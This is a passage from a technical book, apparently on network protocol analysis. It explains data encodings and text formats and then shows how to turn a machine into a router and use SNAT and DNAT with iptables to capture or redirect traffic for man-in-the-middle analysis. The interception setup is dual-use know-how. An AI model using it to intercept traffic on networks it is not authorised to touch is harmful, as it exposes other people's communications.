10xxxxxx 10xxxxxx 17–21 10000 1FFFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 22–26 200000 3FFFFFF 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 26–31 4000000 7FFFFFFF 1111110x 10xxxxxx 10xxxxxx 10xxxxxx UTF-8 has many advantages. For one, its encoding definition ensures that the ASCII character set, code points U+0000 through U+007F, are encoded using single bytes. This scheme makes this format not only ASCII compatible but also space efficient. In addition, UTF-8 is compatible with C/C++ programs that rely on NUL-terminated strings. For all of its benefits, UTF-8 does come at a cost, because languages like Chinese and Japanese consume more space than they do in UTF-16. Figure 3-8 shows such a disadvantageous encoding of Chinese characters. But notice that the UTF-8 in this example is still more space efficient than the UTF-32 for the same characters. |||||||||||||||||||| |||||||||||||||||||| Figure 3-8: The string "兔子" in different Unicode encodings NOTE Incorrect or naive character encoding can be a source of subtle security issues, ranging from bypassing filtering mechanisms (say in a requested resource path) to causing buffer overflows. We’ll investigate some of the vulnerabilities associated with character encoding in Chapter 10. Variable Binary Length Data If the protocol developer knows in advance exactly what data must be transmitted, they can ensure that all values within the protocol are of a fixed length. In reality this is quite rare, although even simple authentication credentials would benefit from the ability to specify variable username and password string lengths. Protocols use several strategies to produce variable-length data values: I discuss the most common—terminated data, length-prefixed data, implicit-length data, and padded data—in the following sections. Terminated Data You saw an example of variable-length data when variable-length integers were discussed earlier in this chapter. The variable-length integer value was terminated when the octet’s MSB was 0. We can extend the concept of terminating values further to elements like Technet24 |||||||||||||||||||| |||||||||||||||||||| strings or data arrays. A terminated data value has a terminal symbol defined that tells the data parser that the end of the data value has been reached. The terminal symbol is used because it’s unlikely to be present in typical data, ensuring that the value isn’t terminated prematurely. With string data, the terminating value can be a NUL value (represented by 0) or one of the other control characters in the ASCII set. If the terminal symbol chosen occurs during normal data transfer, you need to use a mechanism to escape these symbols. With strings, it’s common to see the terminating character either prefixed with a backslash (\) or repeated twice to prevent it from being identified as the terminal symbol. This approach is especially useful when a protocol doesn’t know ahead of time how long a value is—for example, if it’s generated dynamically. Figure 3-9 shows an example of a string terminated by a NUL value. Figure 3-9: "Hello" as a NUL-terminated string Bounded data is often terminated by a symbol that matches the first character in the variable-length sequence. For example, when using string data, you might find a quoted string sandwiched between quotation marks. The initial double quote tells the parser to look for the matching character to end the data. Figure 3-10 shows a string bounded by a pair of double quotes. |||||||||||||||||||| |||||||||||||||||||| Figure 3-10: "Hello" as a double-quoted bounded string Length-Prefixed Data If a data value is known in advance, it’s possible to insert its length into the protocol directly. The protocol’s parser can read this value and then read the appropriate number of units (say characters or octets) to extract the original value. This is a very common way to specify variable-length data. The actual size of the length prefix is usually not that important, although it should be reasonably representative of the types of data being transmitted. Most protocols won’t need to specify the full range of a 32-bit integer; however, you’ll often see that size used as a length field, if only because it fits well with most processor architectures and platforms. For example, Figure 3-11 shows a string with an 8-bit length prefix. Figure 3-11: "Hello" as a length-prefixed string Implicit-Length Data Sometimes the length of the data value is implicit in the values around it. For example, think of a protocol that is sending data back to a client using a connection-oriented protocol such as TCP. Rather than specifying the size of the data up front, the server Technet24 |||||||||||||||||||| |||||||||||||||||||| could close the TCP connection, thus implicitly signifying the end of the data. This is how data is returned in an HTTP version 1.0 response. Another example would be a higher-level protocol or structure that has already specified the length of a set of values. The parser might extract that higher-level structure first and then read the values contained within it. The protocol could use the fact that this structure has a finite length associated with it to implicitly calculate the length of a value in a similar fashion to close the connection (without closing it, of course). For example, Figure 3-12 shows a trivial example where a 7-bit variable integer and string are contained within a single block. (Of course, in practice, this can be considerably more complex.) Figure 3-12: "Hello" as an implicit-length string Padded Data Padded data is used when there is a maximum upper bound on the length of a value, such as a 32-octet limit. For the sake of simplicity, rather than prefixing the value with a length or having an explicit terminating value, the protocol could instead send the entire fixed- length string but terminate the value by padding the unused data with a known value. Figure 3-13 shows an example. |||||||||||||||||||| |||||||||||||||||||| Figure 3-13: "Hello" as a '$' padded string Dates and Times It can be very important for a protocol to get the correct date and time. Both can be used as metadata, such as file modification timestamps in a network file protocol, as well as to determine the expiration of authentication credentials. Failure to correctly implement the timestamp might cause serious security issues. The method of date and time representation depends on usage requirements, the platform the applications are running on, and the protocol’s space requirements. I discuss two common representations, POSIX/Unix Time and Windows FILETIME, in the following sections. POSIX/Unix Time Currently, POSIX/Unix time is stored as a 32-bit signed integer value representing the number of seconds that have elapsed since the Unix epoch, which is usually specified as 00:00:00 (UTC), 1 January 1970. Although this isn’t a high-definition timer, it’s sufficient for most scenarios. As a 32-bit integer, this value is limited to 03:14:07 (UTC) 19 January 2038, at which point the representation will overflow. Some modern operating systems now use a 64-bit representation to address this problem. Windows FILETIME The Windows FILETIME is the date and time format used by Microsoft Windows for its filesystem timestamps. As the only format on Windows with simple binary representation, it also appears in a few different protocols. The FILETIME format is a 64-bit unsigned integer. One unit of the integer represents a 100 ns interval. The epoch of the format is 00:00:00 (UTC), 1 January 1601. This gives the FILETIME format a larger range than the POSIX/Unix time format. Tag, Length, Value Pattern It’s easy to imagine how one might send unimportant data using simple protocols, but sending more complex and important data takes some explaining. For example, a protocol that can send different types of structures must have a way to represent the bounds of a structure and its type. One way to represent data is with a Tag, Length, Value (TLV) pattern. The Tag value represents the type of data being sent by the protocol, which is commonly a numeric value (usually an enumerated list of possible values). But the Tag can be anything that provides the data structures with a unique pattern. The Length and Value are variable-length values. The order in which the values appear isn’t important; in fact, the Tag might be part Technet24 |||||||||||||||||||| |||||||||||||||||||| of the Value. Figure 3-14 show a couple of ways these values could be arranged. The Tag value sent can be used to determine how to further process the data. For example, given two types of Tags, one that indicates the authentication credentials to the application and another that represents a message being transmitted to the parser, we must be able to distinguish between the two types of data. One big advantage to this pattern is that it allows us to extend a protocol without breaking applications that have not been updated to support the updated protocol. Because each structure is sent with an associated Tag and Length, a protocol parser could ignore the structures that it doesn’t understand. Figure 3-14: Possible TLV arrangements Multiplexing and Fragmentation Often in computer communication, multiple tasks must happen at once. For example, consider the Microsoft Remote Desktop Protocol (RDP): a user could be moving the mouse cursor, typing on the keyboard, and transferring files to a remote computer while changes in the display and audio are being transmitted back to the user (see Figure 3-15). Figure 3-15: Data needs for Remote Desktop Protocol This complex data transfer would not result in a very rich experience if display updates |||||||||||||||||||| |||||||||||||||||||| had to wait for a 10-minute audio file to finish before updating the display. Of course, a workaround would be opening multiple connections to the remote computer, but those would use more resources. Instead, many protocols use multiplexing, which allows multiple connections to share the same underlying network connection. Multiplexing (shown in Figure 3-16) defines an internal channel mechanism that allows a single connection to host multiple types of traffic by fragmenting large transmissions into smaller chunks. Multiplexing then combines these chunks into a single connection. When analyzing a protocol, you may need to demultiplex these channels to get the original data back out. Figure 3-16: Multiplexed RDP data Unfortunately, some network protocols restrict the type of data that can be transmitted and how large each packet of data can be—a problem commonly encountered when layering protocols. For example, Ethernet defines the maximum size of traffic frames as 1500 octets, and running IP on top of that causes problems because the maximum size of IP packets can be 65536 bytes. Fragmentation is designed to solve this problem: it uses a mechanism that allows the network stack to convert large packets into smaller fragments when the application or OS knows that the entire packet cannot be handled by the next layer. Network Address Information The representation of network address information in a protocol usually follows a fairly standard format. Because we’re almost certainly dealing with TCP or UDP protocols, the most common binary representation is the IP address as either a 4- or 16-octet value (for IPv4 or IPv6) along with a 2-octet port. By convention, these values are typically stored as Technet24 |||||||||||||||||||| |||||||||||||||||||| big endian integer values. You might also see hostnames sent instead of raw addresses. Because hostnames are just strings, they follow the patterns used for sending variable-length strings, which was discussed earlier in “Variable Binary Length Data” on page 47. Figure 3-17 shows how some of these formats might appear. Figure 3-17: Network information in binary |||||||||||||||||||| |||||||||||||||||||| Structured Binary Formats Although custom network protocols have a habit of reinventing the wheel, sometimes it makes more sense to repurpose existing designs when describing a new protocol. For example, one common format encountered in binary protocols is Abstract Syntax Notation 1 (ASN.1). ASN.1 is the basis for protocols such as the Simple Network Management Protocol (SNMP), and it is the encoding mechanism for all manner of cryptographic values, such as X.509 certificates. ASN.1 is standardized by the ISO, IEC, and ITU in the X.680 series. It defines an abstract syntax to represent structured data. Data is represented in the protocol depending on the encoding rules, and numerous encodings exist. But you’re most likely to encounter the Distinguished Encoding Rules (DER), which is designed to represent ASN.1 structures in a way that cannot be misinterpreted—a useful property for cryptographic protocols. The DER representation is a good example of a TLV protocol. Rather than going into great detail about ASN.1 (which would take up a fair amount of this book), I give you Listing 3-1, which shows the ASN.1 for X.509 certificates. Certificate ::= SEQUENCE { version [0] EXPLICIT Version DEFAULT v1, serialNumber CertificateSerialNumber, signature AlgorithmIdentifier, issuer Name, validity Validity, subject Name, subjectPublicKeyInfo SubjectPublicKeyInfo, issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL, subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL, extensions [3] EXPLICIT Extensions OPTIONAL } Listing 3-1: ASN.1 representation for X.509 certificates This abstract definition of an X.509 certificate can be represented in any of ASN.1’s encoding formats. Listing 3-2 shows a snippet of the DER encoded form dumped as text using the OpenSSL utility. $ openssl asn1parse -in example.cer 0:d=0 hl=4 l= 539 cons: SEQUENCE 4:d=1 hl=4 l= 388 cons: SEQUENCE 8:d=2 hl=2 l= 3 cons: cont [ 0 ] 10:d=3 hl=2 l= 1 prim: INTEGER :02 13:d=2 hl=2 l= 16 prim: INTEGER :19BB8E9E2F7D60BE48BFE6840B50F7C3 31:d=2 hl=2 l= 13 cons: SEQUENCE 33:d=3 hl=2 l= 9 prim: OBJECT :sha1WithRSAEncryption 44:d=3 hl=2 l= 0 prim: NULL 46:d=2 hl=2 l= 17 cons: SEQUENCE 48:d=3 hl=2 l= 15 cons: SET 50:d=4 hl=2 l= 13 cons: SEQUENCE 52:d=5 hl=2 l= 3 prim: OBJECT :commonName 57:d=5 hl=2 l= 6 prim: PRINTABLESTRING :democa Listing 3-2: A small sample of X.509 certificate Technet24 |||||||||||||||||||| |||||||||||||||||||| Text Protocol Structures Text protocols are a good choice when the main purpose is to transfer text, which is why mail transfer protocols, instant messaging, and news aggregation protocols are usually text based. Text protocols must have structures similar to binary protocols. The reason is that, although their main content differs, both share the goal of transferring data from one place to another. The following section details some common text protocol structures that you’ll likely encounter in the real world. Numeric Data Over the millennia, science and written languages have invented ways to represent numeric values in textual format. Of course, computer protocols don’t need to be human readable, but why go out of your way just to prevent a protocol from being readable (unless your goal is deliberate obfuscation). Integers It’s easy to represent integer values using the current character set’s representation of the characters 0 through 9 (or A through F if hexadecimal). In this simple representation, size limitations are no concern, and if a number needs to be larger than a binary word size, you can add digits. Of course, you’d better hope that the protocol parser can handle the extra digits or security issues will inevitably occur. To make a signed number, you add the minus (–) character to the front of the number; the plus (+) symbol for positive numbers is implied. Decimal Numbers Decimal numbers are usually defined using human-readable forms. For example, you might write a number as 1.234, using the dot character to separate the integer and fractional components of the number; however, you’ll still need to consider the requirement of parsing a value afterward. Binary representations, such as floating point, can’t represent all decimal values precisely with finite precision (just as decimals can’t represent numbers like 1/3). This fact can make some values difficult to represent in text format and can cause security issues, especially when values are compared to one another. Text Booleans Booleans are easy to represent in text protocols. Usually, they’re represented using the words true or false. But just to be difficult, some protocols might require that words be |||||||||||||||||||| |||||||||||||||||||| capitalized exactly to be valid. And sometimes integer values will be used instead of words, such as 0 for false and 1 for true, but not very often. Dates and Times At a simple level, it’s easy to encode dates and times: just represent them as they would be written in a human-readable language. As long as all applications agree on the representation, that should suffice. Unfortunately, not everyone can agree on a standard format, so typically many competing date representations are in use. This can be a particularly acute issue in applications such as mail clients, which need to process all manner of international date formats. Variable-Length Data All but the most trivial protocols must have a way to separate important text fields so they can be easily interpreted. When a text field is separated out of the original protocol, it’s commonly referred to as a token. Some protocols specify a fixed length for tokens, but it’s far more common to require some type of variable-length data. Delimited Text Separating tokens with delimiting characters is a very common way to separate tokens and fields that’s simple to understand and easy to construct and parse. Any character can be used as the delimiter (depending on the type of data being transferred), but whitespace is encountered most in human-readable formats. That said, the delimiter doesn’t have to be whitespace. For example, the Financial Information Exchange (FIX) protocol delimits tokens using the ASCII Start of Header (SOH) character with a value of 1. Terminated Text Protocols that specify a way to separate individual tokens must also have a way to define an End of Command condition. If a protocol is broken into separate lines, the lines must be terminated in some way. Most well-known, text-based Internet protocols are line oriented, such as HTTP and IRC; lines typically delimit entire structures, such as the end of a command. What constitutes the end-of-line character? That depends on whom you ask. OS developers usually define the end-of-line character as either the ASCII Line Feed (LF), which has the value 10; the Carriage Return (CR) with the value 13; or the combination CR LF. Protocols such as HTTP and Simple Mail Transfer Protocol (SMTP) specify CR LF as the official end-of-line combination. However, so many incorrect implementations occur that most parsers will also accept a bare LF as the end-of-line indication. Technet24 |||||||||||||||||||| |||||||||||||||||||| Structured Text Formats As with structured binary formats such ASN.1, there is normally no reason to reinvent the wheel when you want to represent structured data in a text protocol. You might think of structured text formats as delimited text on steroids, and as such, rules must be in place for how values are represented and hierarchies constructed. With this in mind, I’ll describe three formats in common use within real-world text protocols. Multipurpose Internet Mail Extensions Originally developed for sending multipart email messages, Multipurpose Internet Mail Extensions (MIME) found its way into a number of protocols, such as HTTP. The specification in RFCs 2045, 2046 and 2047, along with numerous other related RFCs, defines a way of encoding multiple discrete attachments in a single MIME-encoded message. MIME messages separate the body parts by defining a common separator line prefixed with two dashes (--). The message is terminated by following this separator with the same two dashes. Listing 3-3 shows an example of a text message combined with a binary version of the same message. MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=MSG_2934894829 This is a message with multiple parts in MIME format. --MSG_2934894829 Content-Type: text/plain Hello World! --MSG_2934894829 Content-Type: application/octet-stream Content-Transfer-Encoding: base64 PGh0bWw+Cjxib2R5PgpIZWxsbyBXb3JsZCEKPC9ib2R5Pgo8L2h0bWw+Cg== --MSG_2934894829-- Listing 3-3: A simple MIME message One of the most common uses of MIME is for Content-Type values, which are usually referred to as MIME types. A MIME type is widely used when serving HTTP content and in operating systems to map an application to a particular content type. Each type consists of the form of the data it represents, such as text or application, in the format of the data. In this case, plain is unencoded text and octet-stream is a series of bytes. JavaScript Object Notation JavaScript Object Notation (JSON) was designed as a simple representation for a structure based on the object format provided by the JavaScript programming language. It was originally used to transfer data between a web page in a browser and a backend service, such as in Asynchronous JavaScript and XML (AJAX). Currently, it’s commonly used for |||||||||||||||||||| |||||||||||||||||||| web service data transfer and all manner of other protocols. The JSON format is simple: a JSON object is enclosed using the braces ({}) ASCII characters. Within these braces are zero or more member entries, each consisting of a key and a value. For example, Listing 3-4 shows a simple JSON object consisting of an integer index value, "Hello world!" as a string, and an array of strings. { "index" : 0, "str" : "Hello World!", "arr" : [ "A", "B" ] } Listing 3-4: A simple JSON object The JSON format was designed for JavaScript processing, and it can be parsed using the "eval" function. Unfortunately, using this function comes with a significant security risk; namely, it’s possible to insert arbitrary script code during object creation. Although most modern applications use a parsing library that doesn’t need a connection to JavaScript, it’s worth ensuring that arbitrary JavaScript code is not executed in the context of the application. The reason is that it could lead to potential security issues, such as cross- site scripting (XSS), a vulnerability where attacker-controlled JavaScript can be executed in the context of another web page, allowing the attacker to access the page’s secure resources. Extensible Markup Language Extensible Markup Language (XML) is a markup language for describing a structured document format. Developed by the W3C, it’s derived from Standard Generalized Markup Language (SGML). It has many similarities to HTML, but it aims to be stricter in its definition in order to simplify parsers and create fewer security issues.1 At a basic level, XML consists of elements, attributes, and text. Elements are the main structural values. They have a name and can contain child elements or text content. Only one root element is allowed in a single document. Attributes are additional name-value pairs that can be assigned to an element. They take the form of name="Value". Text content is just that, text. Text is a child of an element or the value component of an attribute. Listing 3-5 shows a very simple XML document with elements, attributes, and text values. <value index="0"> <str>Hello World!</str> <arr><value>A</value><value>B</value></arr> </value> Listing 3-5: A simple XML document All XML data is text; no type information is provided for in the XML specification, so the parser must know what the values represent. Certain specifications, such as XML Technet24 |||||||||||||||||||| |||||||||||||||||||| Schema, aim to remedy this type information deficiency but they are not required in order to process XML content. The XML specification defines a list of well-formed criteria that can be used to determine whether an XML document meets a minimal level of structure. XML is used in many different places to define the way information is transmitted in a protocol, such as in Rich Site Summary (RSS). It can also be part of a protocol, as in Extensible Messaging and Presence Protocol (XMPP). Encoding Binary Data In the early history of computer communication, 8-bit bytes were not the norm. Because most communication was text based and focused on English-speaking countries, it made economic sense to send only 7 bits per byte as required by the ASCII standard. This allowed other bits to provide control for serial link protocols or to improve performance. This history is reflected heavily in some early network protocols, such as the SMTP or Network News Transfer Protocol (NNTP), which assume 7-bit communication channels. But a 7-bit limitation presents a problem if you want to send that amusing picture to your friend via email or you want to write your mail in a non-English character set. To overcome this limitation, developers devised a number of ways to encode binary data as text, each with varying degrees of efficiency or complexity. As it turns out, the ability to convert binary content into text still has its advantages. For example, if you wanted to send binary data in a structured text format, such as JSON or XML, you might need to ensure that delimiters were appropriately escaped. Instead, you can choose an existing encoding format, such as Base64, to send the binary data and it will be easily understood on both sides. Let’s look at some of the more common binary-to-text encoding schemes you’re likely to encounter when inspecting a text protocol. Hex Encoding One of the most naive encoding techniques for binary data is hex encoding. In hex encoding, each octet is split into two 4-bit values that are converted to two text characters denoting the hexadecimal representation. The result is a simple representation of the binary in text form, as shown in Figure 3-18. |||||||||||||||||||| |||||||||||||||||||| Figure 3-18: Example hex encoding of binary data Although simple, hex encoding is not space efficient because all binary data automatically becomes 100 percent larger than it was originally. But one advantage is that encoding and decoding operations are fast and simple and little can go wrong, which is definitely beneficial from a security perspective. HTTP specifies a similar encoding for URLs and some text protocols called percent encoding. Rather than all data being encoded, only nonprintable data is converted to hex, and values are signified by prefixing the value with a % character. If percent encoding was used to encode the value in Figure 3-18, you would get %06%E3%58. Base64 To counter the obvious inefficiencies in hex encoding, we can use Base64, an encoding scheme originally developed as part of the MIME specifications. The 64 in the name refers to the number of characters used to encode the data. The input binary is separated into individual 6-bit values, enough to represent 0 through 63. This value is then used to look up a corresponding character in an encoding table, as shown in Figure 3-19. Figure 3-19: Base64 encoding table Technet24 |||||||||||||||||||| |||||||||||||||||||| But there’s a problem with this approach: when 8 bits are divided by 6, 2 bits remain. To counter this problem, the input is taken in units of three octets, because dividing 24 bits by 6 bits produces 4 values. Thus, Base64 encodes 3 bytes into 4, representing an increase of only 33 percent, which is significantly better than the increase produced by hex encoding. Figure 3-20 shows an example of encoding a three-octet sequence into Base64. But yet another issue is apparent with this strategy. What if you have only one or two octets to encode? Would that not cause the encoding to fail? Base64 gets around this issue by defining a placeholder character, the equal sign (=). If in the encoding process, no valid bits are available to use, the encoder will encode that value as the placeholder. Figure 3-21 shows an example of only one octet being encoded. Note that it generates two placeholder characters. If two octets were encoded, Base64 would generate only one. Figure 3-20: Base64 encoding 3 bytes as 4 characters |||||||||||||||||||| |||||||||||||||||||| Figure 3-21: Base64 encoding 1 byte as 3 characters To convert Base64 data back into binary, you simply follow the steps in reverse. But what happens when a non-Base64 character is encountered during the decoding? Well that’s up to the application to decide. We can only hope that it makes a secure decision. Final Words In this chapter, I defined many ways to represent data values in binary and text protocols and discussed how to represent numeric data, such as integers, in binary. Understanding how octets are transmitted in a protocol is crucial to successfully decoding values. At the same time, it’s also important to identify the many ways that variable-length data values can be represented because they are perhaps the most important structure you will encounter within a network protocol. As you analyze more network protocols, you’ll see the same structures used repeatedly. Being able to quickly identify the structures is key to easily processing unknown protocols. In Chapter 4, we’ll look at a few real-world protocols and dissect them to see how they match up with the descriptions presented in this chapter. Technet24 |||||||||||||||||||| |||||||||||||||||||| 4 ADVANCED APPLICATION TRAFFIC CAPTURE Usually, the network traffic-capturing techniques you learned in Chapter 2 should suffice, but occasionally you’ll encounter tricky situations that require more advanced ways to capture network traffic. Sometimes, the challenge is an embedded platform that can only be configured with the Dynamic Host Configuration Protocol (DHCP); other times, there may be a network that offers you little control unless you’re directly connected to it. Most of the advanced traffic-capturing techniques discussed in this chapter use existing network infrastructure and protocols to redirect traffic. None of the techniques require specialty hardware; all you’ll need are software packages commonly found on various operating systems. Rerouting Traffic IP is a routed protocol; that is, none of the nodes on the network need to know the exact location of any other nodes. Instead, when one node wants to send traffic to another node that it isn’t directly connected to, it sends the traffic to a gateway node, which forwards the traffic to the destination. A gateway is also commonly called a router, a device that routes traffic from one location to another. For example, in Figure 4-1, the client 192.168.56.10 is trying to send traffic to the server 10.1.1.10, but the client doesn’t have a direct connection to the server. It first sends traffic destined for the server to Router A. In turn, Router A sends the traffic to Router B, which has a direct connection to the target server; Router B passes the traffic on to its final destination. As with all nodes, the gateway node doesn’t know the traffic’s exact destination, so it looks up the appropriate next gateway to send to. In this case, Routers A and B only know about the two networks they are directly connected to. To get from the client to the server, the traffic must be routed. |||||||||||||||||||| |||||||||||||||||||| Figure 4-1: An example of routed traffic Using Traceroute When tracing a route, you attempt to map the route that the IP traffic will take to a particular destination. Most operating systems have built-in tools to perform a trace, such as traceroute on most Unix-like platforms and tracert on Windows. Listing 4-1 shows the result of tracing the route to www.google.com from a home internet connection. C:\Users\user>tracert www.google.com Tracing route to www.google.com [173.194.34.176] over a maximum of 30 hops: 1 2 ms 2 ms 2 ms home.local [192.168.1.254] 2 15 ms 15 ms 15 ms 217.32.146.64 3 88 ms 15 ms 15 ms 217.32.146.110 4 16 ms 16 ms 15 ms 217.32.147.194 5 26 ms 15 ms 15 ms 217.41.168.79 6 16 ms 26 ms 16 ms 217.41.168.107 7 26 ms 15 ms 15 ms 109.159.249.94 8 18 ms 16 ms 15 ms 109.159.249.17 9 17 ms 28 ms 16 ms 62.6.201.173 10 17 ms 16 ms 16 ms 195.99.126.105 11 17 ms 17 ms 16 ms 209.85.252.188 12 17 ms 17 ms 17 ms 209.85.253.175 13 27 ms 17 ms 17 ms lhr14s22-in-f16.1e100.net [173.194.34.176] Listing 4-1: Traceroute to www.google.com using the tracert tool Each numbered line of output (1, 2, and so on) represents a unique gateway routing traffic to the ultimate destination. The output refers to a maximum number of hops. A single hop represents the network between each gateway in the entire route. For example, there’s a hop between your machine and the first router, another between that router and the next, and hops all the way to the final destination. If the maximum hop count is exceeded, the traceroute process will stop probing for more routers. The maximum hop can be specified to the trace route tool command line; specify -h NUM on Windows and -m NUM on Unix-style systems.(The output also shows the round-trip time from the machine performing the traceroute and the discovered node.) Routing Tables The OS uses routing tables to figure out which gateways to send traffic to. A routing table contains a list of destination networks and the gateway to route traffic to. If a network is directly connected to the node sending the network traffic, no gateway is required, and the network traffic can be transmitted directly on the local network. You can view your computer’s routing table by entering the command netstat -r on most Unix-like systems or route print on Windows. Listing 4-2 shows the output from Windows when you execute this command. Technet24 |||||||||||||||||||| |||||||||||||||||||| > route print IPv4 Route Table ============================================================================= Active Routes: Network Destination Netmask Gateway Interface Metric ➊ 0.0.0.0 0.0.0.0 192.168.1.254 192.168.1.72 10 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 192.168.1.0 255.255.255.0 On-link 192.168.1.72 266 192.168.1.72 255.255.255.255 On-link 192.168.1.72 266 192.168.1.255 255.255.255.255 On-link 192.168.1.72 266 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 192.168.56.1 276 224.0.0.0 240.0.0.0 On-link 192.168.1.72 266 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 192.168.56.1 276 255.255.255.255 255.255.255.255 On-link 192.168.1.72 266 ============================================================================= Listing 4-2: Example routing table output As mentioned earlier, one reason routing is used is so that nodes don’t need to know the location of all other nodes on the network. But what happens to traffic when the gateway responsible for communicating with the destination network isn’t known? In that case, it’s common for the routing table to forward all unknown traffic to a default gateway. You can see the default gateway at ➊, where the network destination is 0.0.0.0. This destination is a placeholder for the default gateway, which simplifies the management of the routing table. By using a placeholder, the table doesn’t need to be changed if the network configuration changes, such as through a DHCP configuration. Traffic sent to any destination that has no known matching route will be sent to the gateway registered for the 0.0.0.0 placeholder address. How can you use routing to your advantage? Let’s consider an embedded system in which the operating system and hardware come as one single device. You might not be able to influence the network configuration in an embedded system as you might not even have access to the underlying operating system, but if you can present your capturing device as a gateway between the system generating the traffic and its ultimate destination, you can capture the traffic on that system. The following sections discuss ways to configure an OS to act as a gateway to facilitate traffic capture. Configuring a Router By default, most operating systems do not route traffic directly between network interfaces. This is mainly to prevent someone on one side of the route from communicating directly with the network addresses on the other side. If routing is not enabled in the OS configuration, any traffic sent to one of the machine’s network |||||||||||||||||||| |||||||||||||||||||| interfaces that needs to be routed is instead dropped or an error message is sent to the sender. The default configuration is very important for security: imagine the implications if the router controlling your connection to the internet routed traffic from the internet directly to your private network. Therefore, to enable an OS to perform routing, you need to make some configuration changes as an administrator. Although each OS has different ways of enabling routing, one aspect remains constant: you’ll need at least two separate network interfaces installed in your computer to act as a router. In addition, you’ll need routes on both sides of the gateway for routing to function correctly. If the destination doesn’t have a corresponding route back to the source device, communication might not work as expected. Once routing is enabled, you can configure the network devices to forward traffic via your new router. By running a tool such as Wireshark on the router, you can capture traffic as it’s forwarded between the two network interfaces you configured. Enabling Routing on Windows By default, Windows does not enable routing between network interfaces. To enable routing on Windows, you need to modify the system registry. You can do this by using a GUI registry editor, but the easiest way is to run the following command as an administrator from the command prompt: C> reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters ^ /v IPEnableRouter /t REG_DWORD /d 1 To turn off routing after you’ve finished capturing traffic, enter the following command: C> reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters ^ /v IPEnableRouter /t REG_DWORD /d 0 You’ll also need to reboot between command changes. WARNING Be very careful when you’re modifying the Windows registry. Incorrect changes could completely break Windows and prevent it from booting! Be sure to make a system backup using a utility like the built-in Windows backup tool before performing any dangerous changes. Enabling Routing on *nix To enable routing on Unix-like operating systems, you simply change the IP routing system setting using the sysctl command. (Note that the instructions for doing so aren’t necessarily consistent between systems, but you should be able to easily find specific Technet24 |||||||||||||||||||| |||||||||||||||||||| instructions.) To enable routing on Linux for IPv4, enter the following command as root (no need to reboot; the change is immediate): # sysctl net.ipv4.conf.all.forwarding=1 To enable IPv6 routing on Linux, enter this: # sysctl net.ipv6.conf.all.forwarding=1 You can revert the routing configuration by changing 1 to 0 in the previous commands. To enable routing on macOS, enter the following: > sysctl -w net.inet.ip.forwarding=1 Network Address Translation When trying to capture traffic, you may find that you can capture outbound traffic but not returning traffic. The reason is that an upstream router doesn’t know the route to the original source network; therefore, it either drops the traffic entirely or forwards it to an unrelated network. You can mitigate this situation by using Network Address Translation (NAT), a technique that modifies the source and destination address information of IP and higher-layer protocols, such as TCP. NAT is used extensively to extend the limited IPv4 address space by hiding multiple devices behind a single public IP address. NAT can make network configuration and security easier, too. When NAT is turned on, you can run as many devices behind a single NAT IP address as you like and manage only that public IP address. Two types of NAT are common today: Source NAT (SNAT) and Destination NAT (DNAT). The differences between the two relate to which address is modified during the NAT processing of the network traffic. SNAT (also called masquerading) changes the IP source address information; DNAT changes the destination address. Enabling SNAT When you want a router to hide multiple machines behind a single IP address, you use SNAT. When SNAT is turned on, as traffic is routed across the external network interface, the source IP address in the packets is rewritten to match the single IP address made available by SNAT. It can be useful to implement SNAT when you want to route traffic to a network that you don’t control because, as you’ll recall, both nodes on the network must have appropriate routing information for network traffic to be sent between the nodes. In the worst case, if the routing information is incorrect, traffic will flow in only one direction. |||||||||||||||||||| |||||||||||||||||||| Even in the best case, it’s likely that you would be able to capture traffic only in one direction; the other direction would be routed through an alternative path. SNAT addresses this potential problem by changing the source address of the traffic to an IP address that the destination node can route to—typically, the one assigned to the external interface of the router. Thus, the destination node can send traffic back in the direction of the router. Figure 4-2 shows a simple example of SNAT. Figure 4-2: An example of SNAT from a client to a server When the client wants to send a packet to a server on a different network, it sends it to the router that has been configured with SNAT. When the router receives the packet from the client, the source address is the client’s (10.0.0.1) and the destination is the server (the resolved address of domain.com). It’s at this point that SNAT is used: the router modifies the source address of the packet to its own (1.1.1.1) and then forwards the packet to the server. When the server receives this packet, it assumes the packet came from the router; so, when it wants to send a packet back, it sends the packet to 1.1.1.1. The router receives the packet, determines it came from an existing NAT connection (based on destination address and port numbers), and reverts the address change, converting 1.1.1.1 back to the original client address of 10.0.0.1. Finally, the packet can be forwarded back to the original client without the server needing to know about the client or how to route to its network. Configuring SNAT on Linux Although you can configure SNAT on Windows and macOS using Internet Connection Sharing, I’ll only provide details on how to configure SNAT on Linux because it’s the easiest platform to describe and the most flexible when it comes to network configuration. Before configuring SNAT, you need to do the following: • Enable IP routing as described earlier in this chapter. • Find the name of the outbound network interface on which you want to configure SNAT. You can do so by using the ifconfig command. The outbound interface might be named something like eth0. • Note the IP address associated with the outbound interface when you use ifconfig. Now you can configure the NAT rules using the iptables. (The iptables command is Technet24 |||||||||||||||||||| |||||||||||||||||||| most likely already installed on your Linux distribution.) But first, flush any existing NAT rules in iptables by entering the following command as the root user: # iptables -t nat -F If the outbound network interface has a fixed address, run the following commands as root to enable SNAT. Replace INTNAME with the name of your outbound interface and INTIP with the IP address assigned to that interface. # iptables -t nat -A POSTROUTING -o INTNAME -j SNAT --to INTIP However, if the IP address is configured dynamically (perhaps using DHCP or a dial- up connection), use the following command to automatically determine the outbound IP address: # iptables -t nat -A POSTROUTING -o INTNAME -j MASQUERADE Enabling DNAT DNAT is useful if you want to redirect traffic to a proxy or other service to terminate it, or before forwarding the traffic to its original destination. DNAT rewrites the destination IP address, and optionally, the destination port. You can use DNAT to redirect specific traffic to a different destination, as shown in Figure 4-3, which illustrates traffic being redirected from both the router and the server to a proxy at 192.168.0.10 to perform a man-in-the- middle analysis. Figure 4-3: An example of DNAT to a proxy Figure 4-3 shows a client application sending traffic through a router that is destined |||||||||||||||||||| |||||||||||||||||||| for domain.com on port 1234. When a packet is received at the router, that router would normally just forward the packet to the original destination. But because DNAT is used to change the packet’s destination address and 